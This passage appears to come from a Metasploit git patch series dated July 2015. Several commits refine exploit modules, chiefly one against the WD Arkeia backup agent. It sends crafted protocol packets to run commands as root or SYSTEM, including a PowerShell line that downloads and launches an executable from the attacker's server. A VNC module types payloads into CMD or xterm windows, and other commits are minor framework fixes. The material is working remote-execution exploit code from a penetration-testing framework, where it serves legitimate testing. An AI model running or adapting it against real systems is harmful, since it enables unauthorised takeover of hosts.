authentication") + # The following byte is sent in case the VNC server end doesn't require authentication (empty password) + sock.put("\x10") + end + + + + # Send shared desktop + unless vnc.send_client_init + print_error("#{rhost}:#{rport} - #{vnc.error}") + return + end + + if target.name =~ /VBScript CMDStager/ + + start_cmdprompt + print_status("#{rhost}:#{rport} - Typing and executing payload") + execute_cmdstager({:flavor => :vbs, :linemax => 8100}) + + # Exit the CMD prompt + exec_command("exit") + + elsif target.name =~ /Powershell/ + + start_cmdprompt + print_status("#{rhost}:#{rport} - Typing and executing payload") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) + # Execute powershell payload and make sure we exit our CMD prompt + exec_command("#{command} && exit") + + elsif target.name =~ /Linux/ + + print_status("#{rhost}:#{rport} - Opening \"Run Application\"") + # Press the ALT key and hold it for a second + press_key(alt_key) + select(nil, nil, nil, 1) + + # Press F2 to start up "Run application" + press_key(f2_key) + + # Release ALT + F2 + release_key(alt_key) + release_key(f2_key) + + # Wait a second for "Run application" to start + select(nil, nil, nil, 1) + + # Start a xterm window + print_status("#{rhost}:#{rport} - Opening xterm") + exec_command("xterm") + + # Wait a second for "xterm" to start + select(nil, nil, nil, 1) + + # Execute our payload and exit (close) the xterm window + print_status("#{rhost}:#{rport} - Typing and executing payload") + exec_command("nohup #{payload.encoded} &") + exec_command("exit") + end + + # Wait up to X seconds, else might timeout/disconnect before full payload is typed + select(nil, nil, nil, datastore['TIMEWAIT']) + + handler + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e + print_error("#{rhost}:#{rport} - #{e.message}") + ensure + disconnect + end + end + + def execute_command(cmd, opts = {}) + exec_command(cmd) + end + +end + From f66cf916762b2c803ca8625b0c2ce63bca972b8f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 10:33:02 -0500 Subject: [PATCH 0694/1013] Fix metadata --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 8be8764850..5d324b5f30 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -24,11 +24,11 @@ class Metasploit3 < Msf::Exploit::Remote Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or SYSTEM privileges. The daemon is installed on both the Arkeia server as well on all the backup clients. The module - has been sucessfuly tested on Windows, Linux, OSX, FreeBSD and OpenBSD. + has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD. }, 'Author' => [ - 'xistence <xistence[at]0x90.nl>', # Vulnerability discovery and Metasploit module + 'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Space' => 255, 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl python bash-tcp gawk openssl' } } From 2c7cc83e383f3397c16d642ca19a86cb13d3072f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 10:34:47 -0500 Subject: [PATCH 0695/1013] Use single quotes --- .../exploits/multi/misc/arkeia_agent_exec.rb | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 5d324b5f30..9462048938 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -82,14 +82,14 @@ class Metasploit3 < Msf::Exploit::Remote req << "\xc0\xa8\x02\x74" req << "\x00" * 56 req << "\x74\x02\xa8\xc0" - req << "ARKADMIN" + req << 'ARKADMIN' req << "\x00" - req << "root" - req << "\x00" - req << "root" + req << 'root' + req << '\x00' + req << 'root' req << "\x00" * 3 - req << "4.3.0-1" # version? - req << "\x00" * 11 + req << '4.3.0-1' # version? + req << '\x00' * 11 sock.put(req) res = sock.recv(1024) @@ -125,10 +125,10 @@ class Metasploit3 < Msf::Exploit::Remote end # ARKADMIN_GET_CLIENT_INFO - req = "\x00\x62\x00\x01" + req = '\x00\x62\x00\x01' req << "\x00" * 3 req << "\x26" - req << "ARKADMIN_GET_CLIENT_INFO" # Function to request agent information + req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information req << "\x00\x32\x38" req << "\x00" * 11 @@ -205,13 +205,13 @@ class Metasploit3 < Msf::Exploit::Remote req << "\xc0\xa8\x02\x8a" req << "\x00" * 56 req << "\x8a\x02\xa8\xc0" - req << "ARKFS" + req << 'ARKFS' req << "\x00" - req << "root" + req << 'root' req << "\x00" - req << "root" + req << 'root' req << "\x00" * 3 - req << "4.3.0-1" # Client version ? + req << '4.3.0-1' # Client version ? req << "\x00" * 11 sock.put(req) @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Exploit::Remote req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? req << "\x00" - req << "EN" # English language? + req << 'EN' # English language? req << "\x00" * 11 sock.put(req) @@ -248,7 +248,7 @@ class Metasploit3 < Msf::Exploit::Remote end req = "\x00\x62\x00\x01\x00\x02\x00\x1b" - req << "ARKFS_EXEC_CMD" # With this function we can execute system commands with root/SYSTEM privileges + req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges req << "\x00\x31" req << "\x00" * 11 @@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote end - commandlength = "%02x" % command.length + commandlength = '%02x' % command.length commandlength = commandlength.scan(/../).map { |x| x.hex.chr }.join req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" From 34a6984c1d8773b74ad51b1e760ec0358902c0a8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 10:44:38 -0500 Subject: [PATCH 0696/1013] Fix variable name --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 9462048938..98a9fb4c33 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote end req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00" - req << "EN" # Language + req << 'EN' # Language req << "\x00" * 11 sock.put(req) @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote end # ARKADMIN_GET_CLIENT_INFO - req = '\x00\x62\x00\x01' + req = "\x00\x62\x00\x01" req << "\x00" * 3 req << "\x26" req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information @@ -261,13 +261,13 @@ class Metasploit3 < Msf::Exploit::Remote end - commandlength = '%02x' % command.length - commandlength = commandlength.scan(/../).map { |x| x.hex.chr }.join + command_length = '%02x' % command.length + command_length = command_length.scan(/../).map { |x| x.hex.chr }.join req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" req << "\x00" * 12 req << "\x64\x00\x04\x00\x04\x00" - req << commandlength # Maximum length can be 255 bytes (0xFF) + req << command_length # Maximum length can be 255 bytes (0xFF) req << command # Our command to be executed req << "\x00" @@ -288,7 +288,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_uri(cli, request) - if (not @pl) + unless @pl print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end From c70be6451770417a896b7b2f53300561c1988c1d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 10:57:55 -0500 Subject: [PATCH 0697/1013] Fix version check --- .../exploits/multi/misc/arkeia_agent_exec.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 98a9fb4c33..04b77bd646 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -85,11 +85,11 @@ class Metasploit3 < Msf::Exploit::Remote req << 'ARKADMIN' req << "\x00" req << 'root' - req << '\x00' + req << "\x00" req << 'root' req << "\x00" * 3 req << '4.3.0-1' # version? - req << '\x00' * 11 + req << "\x00" * 11 sock.put(req) res = sock.recv(1024) @@ -148,17 +148,18 @@ class Metasploit3 < Msf::Exploit::Remote sock.recv(1024) res = sock.recv(1024) - if res and res =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ + if res && res =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ version = $1 - print_status("#{rhost}:#{rport} - Arkeia version detected: #{version}") - if version <= "11.0.12" - return Exploit::CheckCode::Vulnerable + vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}") + if Gem::Version.new(version) <= Gem::Version.new('11.0.12') + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe end else - print_status("#{rhost}:#{rport} - Arkeia version not detected") + vprint_status("#{rhost}:#{rport} - Arkeia version not detected") + return Exploit::CheckCode::Unknown end - - return Exploit::CheckCode::Safe end def exploit From cf4b18700d3c86b82c95bf2712b7e2e231d83f72 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 10 Jul 2015 11:14:59 -0500 Subject: [PATCH 0698/1013] Fix CVE reference --- .../auxiliary/scanner/http/accellion_fta_statecode_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb index b59839cd19..f3badecf8d 100644 --- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['URL', 'http://r-7.co/R7-2015-08'], - ['CVE', '2015-2857'] + ['CVE', '2015-2856'] ], 'DisclosureDate' => 'Jul 10 2015' )) From 3495d317b5f5e5537f6ba33218cff43efa7f1af9 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 10 Jul 2015 11:17:31 -0500 Subject: [PATCH 0699/1013] Do not lock SMTP STARTTLS to only use SSLv3 SSLv3 has been deprecated for some time, and is being actively disabled more and more (http://disablessl3.com, https://tools.ietf.org/html/rfc7568). To maintain forward compatibility, do not specify a maximum version and insteady use the default from the local OpenSSL library instead. Fallbacks to older versions will happen on handshake as needed. --- lib/msf/core/exploit/smtp_deliver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 0dec10cc71..bb50767bc2 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -229,7 +229,7 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + ctx = OpenSSL::SSL::SSLContext.new ctx.key = OpenSSL::PKey::RSA.new(1024){ } ctx.session_id_context = Rex::Text.rand_text(16) From 728b338593c6a41ed185fffa7146be39792292ae Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 10 Jul 2015 11:28:10 -0500 Subject: [PATCH 0700/1013] Give msftidy a cookie --- .../auxiliary/scanner/http/accellion_fta_statecode_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb index f3badecf8d..bb63c2a7d3 100644 --- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Accellion FTA statecode Cookie Arbitrary File Read', + 'Name' => "Accellion FTA 'statecode' Cookie Arbitrary File Read", 'Description' => %q{ This module exploits a file disclosure vulnerability in the Accellion File Transfer appliance. This vulnerability is triggered when a user-provided From 9ba515f1857959e050fb103c9d6d83862f9ae0b7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 11:32:49 -0500 Subject: [PATCH 0701/1013] Fix network communication on `check` * Some protocol handling just to not read amounts of data blindly --- .../exploits/multi/misc/arkeia_agent_exec.rb | 180 ++++++++++++++++-- 1 file changed, 162 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 04b77bd646..4c71953dcd 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -92,11 +92,26 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - unless res and res[0,4] == "\x00\x60\x00\x04" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1") + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + return Exploit::CheckCode::Unknown end req = "\x00\x73" @@ -105,11 +120,25 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - - unless res and res[0,4] == "\x00\x60\x00\x04" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2") + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + return Exploit::CheckCode::Unknown end req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00" @@ -117,11 +146,24 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - - unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + unless data_length == 0 + disconnect + return Exploit::CheckCode::Unknown end # ARKADMIN_GET_CLIENT_INFO @@ -133,22 +175,124 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + unless data_length == 0 + disconnect + return Exploit::CheckCode::Unknown end req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38" req << "\x00" * 12 sock.put(req) - # Have to retrieve data twice - sock.recv(1024) - res = sock.recv(1024) - if res && res =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ + # 1st packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x63\x00\x04" + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + return Exploit::CheckCode::Unknown + end + + # 2nd packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x68\x00\x04" + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + return Exploit::CheckCode::Unknown + end + + # 3rd packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x65\x00\x04" + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length && data.include?('You have successfully retrieved client information') + disconnect + return Exploit::CheckCode::Unknown + end + + # 4th packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x69\x00\x04" + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + return Exploit::CheckCode::Unknown + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + return Exploit::CheckCode::Unknown + end + + if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ version = $1 vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}") if Gem::Version.new(version) <= Gem::Version.new('11.0.12') From e1192c75a9babe39ce350096ac5df6ceb49c725c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 11:57:48 -0500 Subject: [PATCH 0702/1013] Fix network communication on `communicate` * Some protocol handling just to not read amounts of data blindly --- .../exploits/multi/misc/arkeia_agent_exec.rb | 173 +++++++++++++++--- 1 file changed, 145 insertions(+), 28 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 4c71953dcd..3dd14e8126 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -307,27 +307,26 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if target.name =~ /Windows/ - @downfile = rand_text_alpha(8+rand(8)) + @down_file = rand_text_alpha(8+rand(8)) @pl = generate_payload_exe srv_host = Rex::Socket.source_address(rhost) - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @downfile + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @down_file print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, - 'Path' => '/' + @downfile + 'Path' => '/' + @down_file }}) # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents. - command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@downfile}\\\";" - command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@downfile}.exe');" - command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@downfile}.exe');\"" + command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@down_file}\\\";" + command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" + command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" communicate(command) @@ -360,22 +359,51 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - unless res and res[0,4] == "\x00\x60\x00\x04" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - - unless res and res[0,4] == "\x00\x60\x00\x04" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" @@ -385,11 +413,24 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - - unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + unless data_length == 0 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") end req = "\x00\x62\x00\x01\x00\x02\x00\x1b" @@ -398,20 +439,36 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - res = sock.recv(1024) - unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #4") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + unless data_length == 0 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") + end + + req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" + req << "\x00" * 11 + + sock.put(req) command_length = '%02x' % command.length command_length = command_length.scan(/../).map { |x| x.hex.chr }.join - req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" - req << "\x00" * 12 - req << "\x64\x00\x04\x00\x04\x00" + req = "\x00\x64\x00\x04\x00\x04\x00" req << command_length # Maximum length can be 255 bytes (0xFF) req << command # Our command to be executed req << "\x00" @@ -419,13 +476,73 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") sock.put(req) - res = sock.recv(1024) - unless res and res[0,4] == "\x00\x63\x00\x04" + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x63\x00\x04" disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure executing payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end + + # 1st Packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x68\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end + + # 2st Packet + + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x68\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end + + data_length = sock.get_once(4) + + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end + + data_length = data_length[2..3].unpack('n')[0] + + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end # Wait for our payload to be sent, else HTTP server might shutdown too quick select(nil, nil, nil, datastore['HTTP_DELAY']) @@ -438,7 +555,7 @@ class Metasploit3 < Msf::Exploit::Remote return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") - register_files_for_cleanup("c:\\#{@downfile}.exe") + register_files_for_cleanup("c:\\#{@down_file}.exe") send_response(cli, @pl) end From 493971245a417633d645baee9b0872b0e55274dc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 10 Jul 2015 12:10:53 -0500 Subject: [PATCH 0703/1013] switch nsock locally to TLS - don't assume self.sock is set --- lib/msf/core/exploit/smtp_deliver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index bb50767bc2..18fde235a0 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -84,7 +84,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") raw_send_recv("STARTTLS\r\n", nsock) - swap_sock_plain_to_ssl + swap_sock_plain_to_ssl(nsock) res = raw_send_recv("EHLO #{domain}\r\n", nsock) end From 513dcf3574d838c1df6d3fd60cf5dfb5fbf8e823 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 10 Jul 2015 12:12:53 -0500 Subject: [PATCH 0704/1013] We don't need these methods anymore --- lib/msf/core/exploit/browser_autopwnv2.rb | 40 ----------------------- 1 file changed, 40 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9e59061fd3..9806cda682 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -558,46 +558,6 @@ module Msf end - # Prints all user-configurable payloads. It's the same as the "show payloads" command in console. - # - # @return [void] - def show_payloads - DEFAULT_PAYLOADS.keys.each do |platform| - payload_name = get_selected_payload_name(platform) - p = framework.payloads.create(payload_name) - next unless p - p.datastore['LHOST'] = get_payload_lhost - p.datastore['LPORT'] = get_selected_payload_lport(platform) - p_opt = Serializer::ReadableText.dump_options(p, ' ') - print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) - end - end - - - # Prints a message that explains how the user should set a payload. This is the same as the - # "set payload" command in console. - # - # @return [void] - def set_payload - print_status("'set payload' has been disabled for BrowserAutoPwn.") - print_status('You should set a platform-specific payload instead via advanced options:') - print_line - table = Rex::Ui::Text::Table.new( - 'Header' => 'Advanced Options', - 'Indent' => 1, - 'Columns' => ['Option Name', 'Description'] - ) - DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform.to_s.upcase}", "Payload for #{platform} browser exploits"] - end - print_line(table.to_s) - print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") - print_line - print_status("For a list of payloads, you can do: show payloads") - print_status("You can also see 'show advanced' for more options.") - end - - # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits # gives us. It will do a global exploitable requirement check (the best it can do). There's # actually a target-specific exploitable requirement check too, but that is performed in From 086de2c030336d8068f6fd08a93de3bf94d98f2a Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 10 Jul 2015 12:39:43 